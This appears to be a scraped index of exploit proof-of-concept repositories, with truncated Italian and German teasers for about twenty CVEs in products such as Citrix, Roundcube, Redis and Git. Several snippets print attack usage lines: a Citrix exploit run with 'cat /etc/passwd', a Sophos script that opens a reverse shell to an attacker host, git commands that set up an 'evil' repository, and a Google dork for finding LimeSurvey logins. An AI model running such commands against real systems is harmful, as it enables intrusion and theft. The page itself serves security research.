CVE-2025-24893-PoC

CVE-2025-24893 - XWiki Remote Code Execution RCE Ein aktualisierter Proof-of-Concept PoC Exploit für CVE-2025-24893 , eine kritische, nicht authentifizierte RCE-Sicherheitslücke in XWiki. Diese Version verbessert das Original, indem sie die Ausführung beliebiger Shell-Befehle und eine saubere...

CVE-2025-49844

CVE-2025-49844 - RediShell Use-after-free nello scripting Lua di Redis che porta all'esecuzione remota di codice. Riepilogo della CVE Redis è un database open source in memoria. La CVE-2025-49844 è una vulnerabilità use-after-free nel motore di scripting Lua integrato di Redis. Un utente...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Beschreibung: Microsoft Word CVE-2017-0199 ist anfällig für eine RCE über einen HTA-Handler. Eine Remote-Codeausführungsschwachstelle besteht in der Art und Weise, wie Microsoft Office und WordPad speziell gestaltete Dateien analysieren. Ein Angreifer, der diese...

CVE-2019-19781

CVE-2019-19781 Exploit di Esecuzione Remota di Codice per Citrix Application Delivery Controller e Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPDELHOSTVULNERABILE COMANDODAESEGUIRE es. : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Annulla modifiche Dopo aver impostato il progetto come progetto Maven, esegui la funzione main di FastjsondemoApplication.java nota: l'uso di versioni più recenti del JDK potrebbe fallire; si consiglia di utilizzare il JDK versione 1.8.65. File TouchFile.java root@kitploi...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Uso dopo liberazione - RCE Vulnerabilità Fare riferimento a memoria dopo che è stata liberata può causare il crash di un programma, l'uso di valori imprevisti o l'esecuzione di codice Descrizione della vulnerabilità Questa vulnerabilità consente a un...

CVE-2024-34832

CubeCart - Directory Traversal può portare a RCE CVE-2024-34832 TL;DR Nel pannello di amministrazione, parametri come g e node vengono usati per costruire il percorso per includere file .inc.php ed eseguire codice PHP. Un utente malintenzionato con la possibilità di caricare file .inc.php in...

CVE-2022-24112

Apache APISIX 2.12.x - Exploit di Esecuzione Remota di Codice RCE Questo script Python è una Proof-of-Concept PoC per una vulnerabilità di esecuzione remota di codice RCE in Apache APISIX versioni 2.12.0 e 2.12.1. La vulnerabilità risiede nell'uso improprio del campo Lua filterfunc all'interno...

CVE-2025-48799-

CVE-2025-48799 – Apache Tomcat Remotecodeausführung PoC Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-48799, eine Schwachstelle zur Remotecodeausführung, die in Apache Tomcat 9.0.48 entdeckt wurde. Der Fehler beruht auf einem Integerüberlauf im HTTP-Header-Parser, der durc...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Vulnerabilità di Esecuzione Remota di Codice in Roundcube Webmail Panoramica Tecnica CVE-2025-49113 è una vulnerabilità critica di deserializzazione non sicura in Roundcube Webmail che consente l'esecuzione remota di codice autenticata. La vulnerabilità deriva da una gestione...

CVE-2025-48384-main

PoC für CVE-2025-48384 Dies ist ein PoC. Laden Sie es nicht in einer unsicheren Umgebung herunter. Es ermöglicht dem Hacker, Remote-Code auf Ihrem Rechner auszuführen Siehe CVE-2025-48384 Ausführen: root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git...

CVE-2025-55188-7z-exploit

CVE-2025-55188-7z-exploit PoC di scrittura arbitraria di file tramite symlink in 7-Zip CVE-2025-55188 Descrizione Questa dimostrazione di concetto illustra CVE-2025-55188 , una vulnerabilità nelle versioni di 7-Zip precedenti alla 25.01. Il problema si verifica perché 7-Zip non gestisce...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

Sfruttare-la-vulnerabilità-Stagefright-CVE-2015-3864 Stagefright si riferisce a un insieme di difetti software nelle versioni Android 2.2 "Froyo" fino alla 5.1.1 "Lollipop", che hanno colpito ancora il 95% di tutti i telefoni Android. Se la vulnerabilità viene sfruttata, un attaccante può...

sophucked

sophucked CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia. Esempio di utilizzo: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + avvio handler sulla porta 80 + Invio...

CVE-2025-58434-AND-59528-POC

PoC Duale Flowise CVE — CVE-2025-58434 + CVE-2025-59528 ⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento contro sistemi che non possiedi o per cui non hai autorizzazione scritta è illegale. Indice Panoramica Dettagli delle vulnerabilità CVE-2025-58434 —...

CVE-2025-26264

CVE-2025-26264 CVE-2025-26264 - GeoVision GV-ASWeb con versione 6.1.2.0 o precedente contiene una vulnerabilità di Remote Code Execution RCE nella funzionalità Notification Settings. Un attaccante autenticato con privilegi "System Settings" in ASWeb può sfruttare questa falla per eseguire comandi...

CVE-2024-32004

root@kitploit: Erstelle ein tmp-Repository und setze uploadpack.allowfilter auf true git init tmp git -C tmp config uploadpack.allowfilter 1 Klone evil vom tmp-Repository git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp Konfiguriere das Remote-Filter-Skript git -C evil...

CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 Exploit - Vulnerabilità di Buffer Overflow Questo repository contiene uno script Python che sfrutta una vulnerabilità di buffer overflow nel TOTOLINK AC1200 T8 versione v4.1.5cu.861B20230220 nella funzione setWiFiAclRules tramite il parametro desc. Dettagli della...

CVE-2025-49223-BillboardJS-PoC

💥 CVE-2025-49223 - Prototype Pollution in Billboard.js È stato scoperto che billboard.js precedente alla 3.15.1 contiene una prototype pollution tramite la funzione generate, che potrebbe consentire agli attaccanti di eseguire codice arbitrario o causare una Denial of Service DoS iniettando...